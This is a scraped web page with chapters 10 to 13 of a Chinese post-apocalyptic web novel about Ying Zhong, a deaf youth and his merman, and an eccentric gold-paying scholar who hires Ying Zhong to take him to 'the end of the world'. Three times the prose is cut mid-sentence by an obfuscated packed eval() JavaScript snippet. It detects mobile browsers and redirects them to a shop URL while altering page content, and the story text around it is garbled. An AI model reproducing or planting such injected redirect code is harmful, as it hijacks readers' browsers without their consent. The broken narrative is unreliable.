小木屋临湖而建。湖泊的一侧是连绵不绝的雪山,另一侧是污染严重的黑雾森林。 没有人知道,原来黑雾森林中还有一条小径,穿过小径就可抵达世外桃源。 “这里真美。您当初为什么会离开这里呢?” 阳光下,小谢的手指抚平雪白床单。床单映出他瘦小的影子,腹部平坦,已经没有之前的怪异鼓起。 ——这座小木屋,是应钟以前住过的。 几年前,他离开上一个人类聚集地,开始了漫无目的的旅程。无意间找到这里,发现这里的湖泊竟然奇迹般地未受污染,于是就在这里住下。 可是最终,他还是选择离开这里。寻找下一个人类聚集地。 “因为我只有一个人啊。”应钟笑道,“人终究是群居动物。一个人住太冷清了。” “嗯……”小谢点了点头。 “哇!这里有活鱼!”湖畔传来杰里米惊喜的喊叫。 应钟转过头去,小谢注意着他的举动,也顺着他的目光望去。 只见人鱼浮出水面,将几条活鱼抛上岸来。 杰里米是大灾害后才出生的废土世代,活蹦乱跳的鲜鱼对他来说比黄金还稀罕。 他蹲在那几条鱼边上,又兴奋又紧张,伸出手指尖戳了戳鱼鳞。 活鱼拼命拍打鱼尾,甩了他一脸水珠。 “哇!鱼好活泼啊哈哈哈哈!”杰里米一边抹脸一边哈哈大笑。 路温拿了个小板凳,坐在旁边,正拿着一根长木条削鱼竿。 “过会儿你上岸去,或者游远一点。”路温对人鱼说,“别吓跑我这里的鱼。” “?”人鱼不解地歪了下脑袋,几滴水珠顺着英俊的脸庞滑落。白皙胸膛坦露,腰部以下的鱼鳞闪烁着珠光。 路温揉着太阳穴,耐心跟他解释。 杰里米蹲在地上玩鱼,玩得自己一脸泥点子。 “……他恢复得很快。”应钟收回目光,唇角依旧带着笑意。 “是的。”小谢也笑起来,“他下水的第一天就好了很多,真的很感谢您……” “是他本身的自愈能力强。”应钟道。 “不。”小谢摇头,认真道,“是因为您将我们带来这里。这片没有污染的水域太珍贵了。您帮了我们太多,我都不知道该怎么……” 应钟抬手止住他的获救感言,笑道:“对了,你跟他是怎么认识的?” 小谢脸上红了下,开始诉说他与人鱼的过往。 故事的开始是半年前。 那时候小谢来到这座人类聚集地不久。他孤身一人,没有父母也没有朋友。每天为生计奔波,吃了上顿不知道下顿在哪里。 他和杰里米一样,是大灾害后才出生的废土世代。忍饥挨饿对他来说不算什么,真正难捱的是孤独。 每天拖着疲惫饥饿的身体,回到空荡荡的房子里。他感觉自己和这座废墟一样,内心正在逐渐荒芜。有时候不知道自己为什么还要挣扎着活下去。 “你爸妈呢?”应钟问。 “爸爸在我很小的时候饿死了。妈妈……有一次我生病,发高烧。妈妈出去给我找药。”小谢声音微微哽住,眼睛一下子湿润,“……后来我醒了,妈妈却再也没有回来。妈妈大概也死了。” 应钟伸手摸摸他的头。 一场高烧夺走了小谢的母亲,也夺走了他的听力。 从他以后他就一个人生活。一个人在末世废土里,和饥饿寒冷,和孤独相伴着生活。 直到某一天,他在下水道里拾荒时,遇到一条奄奄一息的人鱼。 这座城市拥有巨大的地下排水系统。如同复杂空旷的迷宫,一旦进去很容易迷路。 人鱼已经被困在下水道里很久,找不到食物和出路,又被污水浸泡得生病。 小谢从未想过世界上竟然真的存在人鱼这种生物,更未想过是在下水道里见到他。 人鱼很警觉,在小谢试图靠近时立刻转身逃走。可惜走错了路,巨大的鱼尾巴一甩,人鱼一头撞进死胡同里。 小谢担心地跟过去,被逼到尽头的人鱼恶狠狠地唱起歌。 “他那时候应该是想赶走我……”小谢说到这里,嘴角翘起,很温柔地笑了下,“但是我听不见。” 失去听力的小谢听不到人鱼的恐吓,他只看到人鱼瘦骨嶙峋的身体,鱼鳞脱落的尾。 小谢想起背包里正好有个金枪鱼罐头。于是他把打开的罐头放在人鱼面前。 人鱼躲在水道最深处,冰凉的身体紧贴着脏兮兮的墙壁。 小谢看懂了人鱼警惕的目光,于是他把罐头往前推了些,自己又往后退了些。 人鱼还是不吃。 金枪鱼罐头可是很珍贵的东西,对小谢来说,这是省吃俭用好久才攒下来的大餐。 小谢等了很久,人鱼才慢吞吞地挪过去。他双手撑在地上,弯下.身。以一个别扭的姿态,低头嗅嗅罐头。 小谢立刻明白了问题所在:他不知道怎么吃罐头。 于是小谢又靠近。人鱼立刻警觉地后退,缩回水道最深处。鱼尾巴甩了小谢一脸脏水。 小谢怕锋利的罐头边缘割伤人鱼的脸,于是把罐头里的金枪鱼肉挖出来,放在自己掌心。小心翼翼地靠近。 人鱼会不会咬人啊? 小谢心想。 结论是不会。 人鱼在与他对峙了半个小时后,终于挡不住食物的诱.惑。凑过来,低着头。就着他的手掌,小口小口吃起来。 那一刻,久违的温情填满小谢内心。他决定救这条人鱼,于是他开始每天往下水道跑,给人鱼送吃的。 他很快就发现,人鱼只吃鱼肉罐头,压缩饼干他根本碰都不碰。 小谢只好努力打工,攒钱买金枪鱼罐头。 最开始人鱼还会躲着他,到后来,小谢一踏进下水道,人鱼就循着脚步声游过来。 小谢听不到鱼尾拍打的水花声,但他看得懂人鱼脸上的期待。 他以为人鱼只是馋他的金枪鱼罐头,直到某一天人鱼跟着他离开下水道。 人鱼没有双.腿,啪嗒啪嗒跟在他后面甩尾巴。 而他听不到声音,很久很久才察觉到这回事。 幸好那天已经很晚了,街道上没有人。小谢被吓出一声冷汗,赶紧把人鱼藏起来。 人鱼的身体冰冰凉凉,那是小谢第一次触碰到人鱼的身体。 人鱼也好像被他的手烫了一下。仰头惊讶地看着他。 ……之后的一切顺理成章。 小谢找到一座废墟里的废墟,把人鱼藏进去。 他把那个三楼尽头的小房子打扫干净,清理浴缸。他在那里种花,每天打开窗户让阳光照进来。 一开始他担心人鱼趁他不在家的时候跑出去,被人看到的话会被做成一百个人鱼罐头。于是他每次出门都记得要锁门,甚至还从隔壁翻墙跳到这边阳台,从外面把阳台玻璃门锁上。 后来他发现,他不在的时候,人鱼也不会逃跑。 人鱼会呆在浴缸里,安安静静地等他回来。 人鱼会低着头凑在他的掌心吃鱼肉,小口小口地吃。 人鱼会用指间带蹼的手掌轻轻碰他的脸,会闭上眼睛凑过来跟他贴贴。 他们开始拥抱,亲吻。人类的温暖身躯,会被人鱼的冰冷身体夺去温度。但小谢感到心里很温暖。 小谢的身体一天天瘦弱下去,肚子却一天天鼓起来。 人鱼开始不愿意吃金枪鱼。 人鱼把金枪鱼罐头推向他。 “……幸好遇到了您。”小谢说到这里,已经红了眼圈。他努力地笑了笑,无比真诚地说,“真的,如果不是您 ……” 应钟被他一声声的“您”叫出了鸡皮疙瘩,哭笑不得道:“别这么客气,弄得我都不知道怎么说话了。” “呃……”小谢不知所措地抓了抓衣角。 应钟道:“换个称呼吧。随意点就好。” “换个……什么呢?”小谢犹豫。半晌,小心翼翼地抬眼,“大……” 应钟一瞬间欲哭无泪,如遭五雷轰顶。 ——不会要叫大叔吧?!好吧小谢十七他二十八,差十一岁叫大叔也很正常…… 小谢:“大、大哥哥……咦?” 小谢被应钟的表情吓到了,立刻变得紧张不安。应钟却已经被那一声大哥哥叫得心都化了,忍不住揉了下小谢的头发,笑道:“哎,这个可以。” “嗯……嗯……”小谢满脸通红,乖乖地任由他撸毛。 湖畔,路温正在为人鱼惊跑他已经上钩的鱼而大吵大闹。 人鱼听不懂他的话,也不想理他,转身一尾巴甩了他一身水。 路温怒不可遏,正要脱了上衣跳进水里跟人鱼讲讲道理,人鱼却抓着一条大鱼,一把摁到他的鱼钩上。 路温:“???” 杰里米哈哈大笑。 晚餐众人一起在小木屋里吃。厨具和燃料是应钟以前住在这里的时候就备下的,路温和杰里米从家里带来了调料。 人鱼抓了好几条鱼,应钟一一检查过,都很干净鲜活,没有受到污染。 像这种没有受到污染的鲜鱼,放在市集里去卖的话一定能卖出大价钱。 哪怕只是未经污染的干净湖水都很值钱。 但这样的东西一旦出现在市面上,必然会引来人们的注意,这样湖泊的秘密就保不住了。这也是应钟从未把湖泊资源拿去卖的理由。 不患贫而患不均。得不到的就毁掉。 这样的事在末世里已经发生太多次,应钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青年学者:“?” 人鱼:“??” …… 应钟回到家里。这几天都在忙小谢的事,家里空关好几天,又变得空旷阴冷。 他开始收拾房间,把被子重新拿出去晒一下。 整理东西的时候,一本书从背包底下掉出来。 应钟拿起来一看,是在道观遗迹捡到的那本《房中术》。书本正好摊开到有图画的一页,画面不堪入目。 应钟脸上一红,弯腰把书合上。心里却痒痒的,回想起小谢和人鱼亲昵贴贴的样子,又想起临别时路温和杰里米的悄悄话。 能找到自己喜欢的人真好。互相取暖互相扶持,不然真就像小谢说的,一个人在末世挣扎,都不知道为什么还要活下去。 应钟感到无比羡慕,紧接着随之而来的是空虚。 他在床边坐了一会儿,想了想,还是拿出了翁阿姨儿子给他的那个塑料盒。 里面是几节电池,正好是他需要的型号。 应钟从背包最深处把毛巾包着的那东西拿出来,第一次认真打量那东西,还是觉得很丑,但好像已经没有最开始那么抗拒了。 毕竟是用来治病。应钟已经不知道给自己多少次心理建设了。他告诉自己:这是用来治病的,本质上跟痔疮栓没什么区别。忍一忍,把病治好了就不用再弄了。 说起来,他之所以能够免疫人鱼歌声的蛊惑,说不定也是因为这个生理缺陷。 他的病倒也不是全无用处。应钟有些自嘲地想。 他把电池装好,正在思考那东西该怎么放进去,门外忽然有人敲门。 应钟吓得一哆嗦,不知道按到哪里,那东西突然狂野地扭动起来。 啪嗒!整根东西重重地砸在地板上。像条疯狂扭动的蟒。 应钟急忙去捡,与此同时房门被打开。门外传来小谢惊讶的声音:“你怎么直接开门……” “我敲过门了。” 另一个人说。 应钟一抬头,正好对上那人的视线。单片眼镜之后是绿宝石一样的眼睛,在阳光下显得格外动人。 应钟一瞬间有点恍惚,心想今天的阳光怎么这么好看。直到那人目光垂下,指着地上狂乱扭动的东西说: “它要跑了。” 应钟瞬间头皮一炸,手忙脚乱地去捡那个不堪入目的丑东西。内心疯狂哀嚎。 死了算了!!! 不知道为什么还要活下去的情绪在此刻达到了巅峰,应钟现在只想把那东西砸碎烧掉,然后拿麻袋套住自己的头当场跳楼。 11. 第11章 委托 应钟火速把那不堪入目的玩意儿藏起来,背包拉链死死拉到最底,差点把拉链拉崩。 “听说你在找我。”青年学者说。 应钟一下子想起来了,不由心情复杂地望向小谢。 先前调查失踪案的时候他为了跟小谢搭话,随口让小谢帮忙找人。如今自己早就忘了这茬,没想到小谢一直放在心里,一找到人就给他送过来了。 看样子,那位学者还是不情不愿地被扭送过来的。 应钟有些尴尬,当着小谢的面又不好说出口。正好隔壁响起开门的声音,是内德回来了。 小谢和那名青年学者齐齐转过头去,应钟定了定神,先拉着小谢去隔壁让内德帮忙照看着,打算等这边处理完再送他回湖畔小屋。 “咦这不是……”内德一眼就认出小谢是应钟之前让他调查的人。 应钟朝内德使了个眼色,内德就没再说什么,笑眯眯地把小谢拉进屋,让应钟该忙什么忙去。 应钟慢吞吞地朝自己家走,三两步的距离硬是走出了跋山涉水的沉重心情。 他正在思考怎么跟那个青年解释,一进屋,却见青年正站在窗前。阳光勾勒出他俊美的轮廓,他的手指正在翻动古籍泛黄的纸张。 ……等等,古籍?! 应钟头皮一炸,尴尬得脑壳都快裂开了。但是转念一想,这人似乎对书籍有强烈的偏执,说不定是搞这方面研究的…… 于是他深吸一口气,尽量平静地问:“这本你也感兴趣吗?价格可以商量。” 青年点点头。从口袋里摸出一块金子放在桌上。 应钟哭笑不得:“不用这么多……” 那青年却不再理他了。双手捧着书,认认真真地阅读。 应钟站在门口,心想这是什么状况,这人打算在我房里呆多久? 视线左瞟右瞟,应钟忽然注意到对方身上延伸出两根丝线。一根与自己相连,另一根则联系着他的背包。 这是怎么回事?和上次不一样了。 说起来这个奇怪的丝线到底是什么东西……自从在荒漠图书馆里拿起那本书,应钟就像不小心触发了某个按钮,到处都能看到不同事物之间的丝线。 击杀书页怪物的时候,丝线出现在屋顶的薄弱位置,代表脱困的途径。 遇到小谢的时候,丝线将小谢和元阳教信徒相连,代表即将发生的暴力事件。 而小谢和人鱼、路温和杰里米,这两对恋人之间,也彼此有丝线相连…… 丝线似乎代表着某种联系。无论是过去、现在、未来,只要两者有某种关联,都会以丝线的形式呈现在应钟眼前。 ……所以这位学者和我的背包有什么关系…… 青年学者站在窗边,也不嫌阳光晃眼睛,就这么认认真真地安静看书。 应钟忍不住好奇,打开背包,把里面东西一件一件往外拿。很快就嘴角抽搐。 他发现青年学者的第二根丝线连接的东西,正是刚刚害得他究极社死的那个玩意儿。 所以、这个人、跟我的那个东西、到底有什么关系?! 应钟满脸通红,一下子脑补出无数可能。他胡乱把那东西塞回背包最底层,努力忽略那两根令人烦躁的丝线。 啪的一声,青年学者忽然合上书。 “我看完了。”青年学者说。 “哦。”应钟麻木点头。不知道该说什么。 “你在找我。”青年学者转过头来,问,“为什么?” 应钟再一次与他对视。单片眼镜衬得对方五官轮廓分明,是很英俊的混血儿长相。学者的皮肤白皙,在阳光下犹如完美的雕塑。 应钟觉得那双绿宝石一样的眼睛漂亮极了,下意识问:“你叫什么名字?” “维泽。”青年说。 应钟:“我叫应钟。” 维泽:“哦。” 互相报上名字,两人再次陷入沉默。 过了一会儿,维泽再一次发问:“听说你在找我。” 应钟哭笑不得,视线落在他手里那本书上,胡乱找借口道:“哦,对,就是你手里那个。你已经看完了。” 维泽低头看了看手里的《房中术》,点点头。 应钟:“你还在找什么别的书么?我也可以帮你留意一下……” 毕竟维泽出手是真的大方,外人眼里不值钱的书他愿意花一两个金块来收购,这么好的买卖上哪儿找去。 “不知道。我不知道还有什么书可以看……”维泽不知想起什么,脸上的表情有点崩溃,像冰封湖面哗啦一下出现大片裂痕,“我原本找书的地方塌了……” 塌了? 应钟突然想起之前被自己搞塌的图书馆,莫名有些心虚。 “咳。那你有没有别的什么需求?”应钟诚恳道,“我这边什么任务都接的。你知道的,就那种,你出钱,我使命必达。” 维泽想也不想,说:“我想要一个图书馆。” 应钟:“……这个做不到。换一个。” 维泽的表情又裂了。 应钟觉得有点好笑,又有点不好意思,说:“但我可以帮你留意一下,下次找到图书馆的话就带你去。” “好,谢谢你。”维泽又开始掏金子。 “不不不,不用现在就给……”应钟连忙制止,哭笑不得道,“你是哪里跑出来的富家大少爷,别随便把金子拿出来,你会被人盯上的。” “哦。”维泽又把金子收回去。 应钟发现他只有在讨论书的时候表情会有变化(主要是崩溃),其他时候都很淡漠,像个没有感情的机器人。 应钟开始对维泽有一点好奇,问他怎么会遇到小谢。维泽说他读完了《华莱士人鱼》,想找条真正的人鱼看一下。于是就找到了小谢。 “但你是怎么……”应钟想问他是怎么穿过黑雾森林的,外面却忽然有人敲门。 应钟走过去开门,发现是内德带着小谢。 内德说:“你的小朋友想回家了,说家里人在等他,怕家里人着急。” 应钟一听就明白了,伸手搭住小谢的肩膀,说我送你回去。 “不不不,不用麻烦了……”小谢起初有些推辞,耐不住应钟坚持,最后还是乖乖点头听话。 屋内的维泽也从阳光里走出来,缓缓走过一整个房间。向他道别,然后从他面前走过去。 擦肩而过时,应钟闻到一股阳光的味道,一瞬间有点晃神。 随即他就明白过来,维泽在阳光底下看书,黑色的学者外衣被晒得热烘烘,所以散发出阳光的味道。 ——小时候应钟听人说,所谓阳光晒被子的温暖味道,其实是烤螨虫的味道。他感到不可置信,于是去图书馆查资料。没想到居然有科学家专门做过实验,把螨虫放进玻璃器皿,在太阳下暴晒四小时,再打开盖子。结论是并没有什么“烤螨虫的香味”。 至于阳光的味道到底是什么,直到大灾害发生,科学界都没有什么定论。 ……大灾害之后,当然更没有人研究这种没实际意义的东西了。 应钟从阳光的回忆里抽身。 回过神来的时候,维泽已经离开了。 送小谢回湖畔小屋的路上,小谢忽然说:“我能听见声音了。” 应钟非常震惊,连忙问是怎么回事。小谢稀里糊涂地道:“就是刚才那个人,他说让他看看人鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393111|200328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他帮我治病。然后他好像碰了我一下,然后我就能听见了……” 应钟对此十分惊奇,给小谢测试了一下听力,发现他真的痊愈了。 那个青年学者……维泽是怎么做到的? 应钟发自内心地为小谢感到高兴。这样小谢和人鱼在湖畔小屋生活的时候也能更方便一些。 “那边的鱼,你们自己吃,不要拿出来卖。”应钟低声嘱咐,“不然会惹来麻烦。” 应钟当年在湖畔小屋居住时,曾在周围布置很多陷阱,防止怪物和陌生人入侵。一般人也很难穿过黑雾森林,找到那座小房子,因此安全方面不用太担心,只要小谢和人鱼小心一点,不暴.露这片世外桃源就好。 应钟正在好奇维泽是怎么找到小谢,小谢忽然又问道:“对了,哥哥,刚才那个满地乱跑的东西是什么?” 应钟随口反问:“什么?” “就是那个,嗡——嗡——叫的,在地上扭来扭去的。”小谢比划了下,清澈的眼瞳里满是好奇,“那个粗粗的棒子。” 应钟:“……” 死去的记忆重新开始攻击他。应钟内心疯狂尖叫,表面努力保持冷静,淡定道:“……哦,那是个报警器,有人来的话就会发出警报。我在做测试呢。” “哦哦。”小谢一脸“哇好厉害”的表情。 应钟扶额,心里有种欺骗无知少年的愧疚感。 小谢是大灾害后出生的孩子,大多数家用电器都没见过,更何况这种……不可告人的玩意儿。 小谢正好有些东西要回老房子拿一下,于是应钟陪他去了一趟,顺便去集市上补充一些生活物资。回到湖畔小屋的时候已经是傍晚了。 “哥哥晚上留下来吃饭吧……”小谢刚推开门,人鱼忽然冲过来,一把将小谢护在身后。然后转身面对屋里,身上鳞片竖起,剑拔弩张。 屋子里面有敌人! 应钟心里一跳,掏枪上膛,动作一气呵成,上前与人鱼并肩,瞬间进入战斗状态。 屋内一片狼藉,地上散落着一大堆东西,仿佛刚被强盗翻箱倒柜过。应钟瞥见角落里的人影,大喝一声:“什么人!”一边举着枪靠近。 那人蹲在墙角,被阴影遮去了半张脸。 应钟觉得那身衣服有些眼熟,皱着眉靠近。身后小谢探出脑袋,惊讶道:“咦,这不是刚才的……” 应钟头皮一炸:“维泽?!” 角落里的人充耳不闻,仍旧蹲在地上,捧着一本书。 应钟嘴角微微抽搐,看着剑拔弩张的人鱼和杯盘狼藉的屋子,实在想象不出这里到底发生了什么。 小谢也懵了,不安地抓着人鱼胳膊:“怎么回事……” 人鱼摇摇头,眯起眼睛戒备而凶狠地盯着维泽,一边护着小谢后退。 应钟手指搭在扳机上,随时准备开枪。他示意人鱼带着小谢先走,自己则缓缓靠近维泽。 “说。”应钟沉声,“你来这里干什么?” 啪。维泽合上书本,长长呼出一口气。 他缓慢地眨了下眼睛,绿宝石般的眼眸里带着一丝怅惘,像是刚刚从森林的梦境里睡醒。 维泽抬起头,看清应钟的脸,停顿两秒,他低头开始掏口袋。 “?”应钟眼睁睁看着他递过来一块金子。 “金子。”维泽说,“给你。” 应钟:“??” 维泽:“带我去世界尽头。” 应钟:“???” 不是,什么玩意儿,这么突然? 怎么就要我带你去世界尽头了?!! 第一卷华莱士人鱼 完 第二卷世界尽头与冷酷仙境 12. 第12章 矛盾 太阳为什么还金光闪闪? 鸟们为什么还唱个没完? 难道它们不知道么, 世界已经走到尽头。 ——村上春树《世界尽头与冷酷仙境》 维泽看上去并没有要伤害任何人的意思,人鱼却依旧满脸戒备,剑拔弩张。 应钟试图弄清楚刚才到底发生了什么,奈何人鱼不会说人话。 在小谢的协助和人鱼的艰难比划下,应钟总算勉强弄明白情况。 时间倒推回不久之前。 维泽从应钟家里出来后,就又回到了湖畔小屋。他对人鱼非常感兴趣,想凑近看看人鱼到底是个什么样的构造。 人鱼当然不肯。 人鱼本来就在担心小谢,看到维泽一个人回来,小谢却不知所踪,人鱼以为小谢出事了。 再加上维泽一声不吭,上来就要摸他的鳞片,人鱼当然一尾巴抽过去。 没想到维泽看上去文文静静,反应却很快。他躲过了人鱼的所有攻击。 人鱼想用歌声击退他,却感觉喉咙被什么东西掐住,无法发出声音。 深海中的顶级猎食者,就这样像一条小金鱼一样,被学者拎在手里,翻来覆去地看。 人鱼怒了,随手抄起手边的东西去砸他。桌子椅子,锅碗瓢盆,有什么砸什么。 维泽一律歪头躲过。 (比划到这里的时候人鱼愤怒地把头歪来歪去。) 直到最后,人鱼抓起书架上一本蒙着厚厚灰尘的书砸过去。 维泽伸手接住,扭头看了一眼书封面。 然后就把他放下来。 原地蹲下开始看书。 应钟:“……” 小谢:“……” 应钟转过头,表情复杂地看着维泽。小谢也有些茫然,不知道该说什么好。 人鱼当时的反应也跟他们差不多。 人鱼觉得这个家伙怎么这么奇怪啊。 不过在那之后,维泽就没再挪过位置了,一直安安静静地蹲着看书。从白天看到了傍晚,就连太阳下山了都不知道。 人鱼一直警觉地盯着他,随时准备着再抄起什么砸过去。 直到应钟带着小谢回来。 “所以,你是因为看了这本书……”应钟的目光落在那本书的封面上。 ——《世界尽头与冷酷仙境》。 这本书应钟没什么印象,不过看那上面的灰尘,应该是本来就在书架上的。 应钟虽然在湖畔小屋住了几年,不过书架上的书他从来没去碰过。这些书都是房子以前的主人留下的。 应钟平常很少读书。或者说,末世里的幸存者们,大多数都不读书。 除非是为了学习某些理工机械技术,工程师们才会去研读相关专业书籍。 但这本一看就是文学作品的东西……末世里的人们通常没那个闲心去读。 维泽说:“对。” 应钟扶额,心想维泽是真的喜欢看书,行动力也是真的强。 刚才对人鱼那么感兴趣,估计也是因为看了《华莱士人鱼》。这会儿看完《世界尽头与……》,应钟扭头又看了眼书封面,哦,《世界尽头与冷酷仙境》,维泽就又当场决定要去世界尽头了。 很好。这很符合不谙世事闲得蛋疼的富家大少爷人设。想一出是一出,完全不计成本。 目前姑且可以认为,维泽对人鱼是没有恶意的。 他甚至还治好了小谢的病。 于是应钟拉过小谢,低声商量起来。小谢点点头,又拉过人鱼,摸摸他的头发,轻声哄了一会儿。 人鱼的表情缓和下来。小谢做了个示范,说:“像这样。” 人鱼学着小谢的样子,朝维泽伸出右手。 维泽:“?” 应钟笑道:“不打不相识。误会解除,握个手吧。” 维泽:“……” 维泽盯着人鱼那带蹼的手掌,似乎在思考什么。 刹那间应钟眼角余光被吸引,隐约感觉看到维泽衣服下摆里有什么东西动了下。然而仔细看时却又一切如常。 应钟心里有些疑惑,正想问,维泽已经伸出手来。 维泽和人鱼握住了彼此的手。 应钟心想,维泽也没有想象中的难相处。然而等了许久,维泽和人鱼的手还是握在一起。两个人……不对,是一个人加一条人鱼,都没有把手松开。 看上去好像都不知道“握手”这个行为应该持续多久的样子。 应钟:“?” 小谢:“?” “可以了。”应钟哭笑不得,“你们还要握多久?” 维泽看了他一眼,这才收回手来。 天色已晚,小谢说:“维泽先生也留下来一起吃饭吧?” 维泽:“不吃。” “哦……好。”小谢有些尴尬,脸上红了下。 应钟立刻又收回了先前对维泽的好评。 维泽这个人还是挺奇怪的。让人捉摸不透。 维泽拒绝完小谢,转头看着应钟,又重复了先前那句话:“带我去世界尽头。” 这话听起来十分浪漫,但联系上下文却让人哭笑不得。 应钟说:“别急,我还要准备一些东西。你不用准备行李吗?” 毕竟要去世界尽头,听起来很遥远的样子。 维泽说:“不用,我都带在身上。”他说着拉开自己的上衣口袋,金光闪闪亮瞎了应钟的眼。 应钟:“。” 果然是被宠坏了的大少爷,还真以为外面到处跟人类聚集地一样,拿金子就可以买到所有东西吗? 要知道出了这个城镇,外面可就是末世废土。到处都是污染和变异的动植物。别说商人和集市了,徒步八百里都不一定能见到一个活人。 应钟道:“那也得先确定一下目标地点,你说的世界尽头是指哪里?南北极吗?” “我不知道。”维泽嘴上说着不知道,眼神却坚定,“你带我去。” 应钟觉得有点好笑,心想你都不知道自己想去哪里,我把你卖了怎么办? 不谙世事的富家大少爷人设立得很稳。应钟虽然不至于真的把人卖了,但是报酬还是要收的。 “先付定金吧。我先去打听打听,世界尽头怎么走。”应钟说。 维泽熟练地递给他一个金块。 小谢也对维泽随手掏出金块的举动充满好奇,人鱼却依旧用警觉的眼神盯着维泽。 应钟想了想,谢绝了小谢留他吃饭的邀请。他打算趁着天还没完全黑下来,早点带维泽回城镇。 “哥哥路上小心。”小谢送应钟到门口。 应钟伸手摸摸他的头发,小谢那一声声哥哥叫得他心里暖洋洋的。他仿佛真的多出来一个弟弟。 维泽忽然又拿出一个金块,朝人鱼递过去。 人鱼:“?” 小谢也莫名其妙,小心翼翼地问:“请问……” 应钟一眼瞥见维泽揣在兜里露出一个角的《世界尽头与那什么什么》,不由好笑,说:“收下吧,这是他买书的钱。” 维泽: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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应钟张了张嘴,想提醒他别住这里晚上会很冷。维泽却没给他这个机会,直接把门关上,消失在应钟的视野里。 应钟:“……” 正常情况下,这里应该最起码有一句“晚安”或者“明天见”吧?! 这人真是够奇怪的。总觉得他既礼貌又不礼貌,既不谙世事又心思深沉…… 这座公寓楼没通电,晚上走廊上黑漆漆的,全靠走廊尽头的玻璃窗透进来的月光照亮。 应钟回自己屋,洗了把脸,又出来敲隔壁内德的门。 内德似乎早就在等他,把门拉开一条缝,探头探脑出来,斜眼瞟着对面,小声问:“那人谁啊?” 应钟道:“一个雇主。”说着进了内德的家。 内德嘟囔道:“以前怎么没见过这人。什么时候来这儿的?” 应钟:“是个富家少爷,估计刚从家里跑出来,平常不露面吧。” “哦,那有可能。工业区后面有个碉堡,那个家族从大灾害那年就开始发国难财……哦不。世界末日财。”内德满脸不屑。 应钟心里微微一动,下意识觉得维泽不是那种家庭里出来的孩子,但也没法反驳,毕竟他对维泽除了“喜欢读书”以外一无所知。 “总之,跟你打听个事儿。”应钟从兜里摸出几块成色不错的合金,很熟练地拍在桌上,“世界尽头怎么走?” 13. 第13章 这是我最好的爱 从内德那里拿到标记好的地图出来,已经是后半夜了。 应钟朝对面瞟了眼,里面没有灯光,没法判断里面还有没有人,只能隐约听到从窗户破洞里灌进来的风声。 风声呜呜的,应钟光是听着都觉得冷。 应钟想了想,从自己屋里抱出来一床被子,试着去敲对面的门。 门打开,维泽站在门口问:“什么事?” 应钟心想这位大少爷居然还在这儿,宁愿吹一晚上冷风都不肯换个房间么? 不过转念一想,这栋大楼的房子基本上都破破烂烂,大晚上黑灯瞎火,要找个不漏风的房子也够呛。 应钟把被子递过去,说:“这个给你。别冻着了。” 维泽看了他一眼,熟练递过来一个金块。 应钟哭笑不得:“这个不要钱。” “哦。”维泽点点头。抱着被子进屋去了。 第二天早上,应钟在约定的时间醒来,走出去敲对面的门。 没人开门。应钟叫了声:“维泽?” 里面也没有回应。 应钟疑惑地转了下门把手,门开了,里面空空如也。只有窗户上巨大的破洞,呼呼地往里面灌着风。 昨晚他拿给维泽的被子,还原样不动地安放在床头。 应钟茫然地站在门口,实在捉摸不透这位的心思。 他怀疑自己被耍了,但昨天收的定金还沉甸甸地躺在他口袋里。 谁会拿这么大一块金子开玩笑? 应钟慢吞吞地走向集市,心想不管了,先去弄点吃的。 最近手头宽松,可以适当吃顿好的。应钟买了个烤麻雀串,悠闲在集市里边逛边吃。 黄金时代里,麻雀还是保护动物。大灾害后却不知为何变得数量众多。是不可多得的蛋白质来源。 走着走着,来到一处建筑物前。应钟听到一个平静不带任何情绪的声音。 “你迟到了。” 应钟转过头,惊讶地看着维泽。 “我以为你放我鸽子了……”应钟说。 “鸽子?”维泽看着他手里的烤麻雀,说,“这应该是麻雀。” 应钟:“……” 混血儿少爷可能听不懂“放鸽子”这个俗语。 应钟看着他平静如绿宝石的双眼,忽然意识到这里就是他们昨天约好的见面地点。 维泽说他迟到了,所以说,维泽明明就住在他家对面,却特意从家里跑出来……跑到约定地点来等他? 应钟越来越跟不上大少爷的思路了。他无奈笑笑,说:“好吧,你饿不饿?” 维泽摇头。 应钟想他大概是自己吃过了,可能也看不上集市上的这些廉价食物。于是应钟打消了心理负担,当着他的面把烤麻雀吃完。 维泽问:“可以出发了吗?” 应钟找了个地方坐下来,把内德昨天给他的地图展开来,给维泽看。 “这个地方叫乌斯怀亚,在大灾害以前就被称作‘世界的尽头’,不知道是不是你要找的地方。” 应钟指着地图上的标记说,“以前是地球最南端的城市。通往南极洲的入口。” 维泽点点头,说:“带我去。” 应钟心里松了口气,心想大少爷还算好伺候的,去到乌斯怀亚就算达成目标,没让自己把他送去南极点。 于是应钟又给他交代了一些旅途上可能遇到的危险,维泽安静听着。 到最后,应钟问:“你确定要出去吗?你家里人知道吗?” 维泽说:“我没有家里人。” 应钟愣了下,疑惑地看着他。 维泽问:“今天可以出发吗?” 应钟看他不是很想说自己家里事的样子,于是道:“可以。下午出发吧,我得回去准备点东西。” 应钟在心里罗列着路上需要带的物资,先去找书摊老板,让他帮忙把金子兑换成等价的其他金属。维泽跟在应钟身后,安静注视着这个过程。 书摊老板一脸幽怨,阴阳怪气地说:“你傍上大款了啊。” 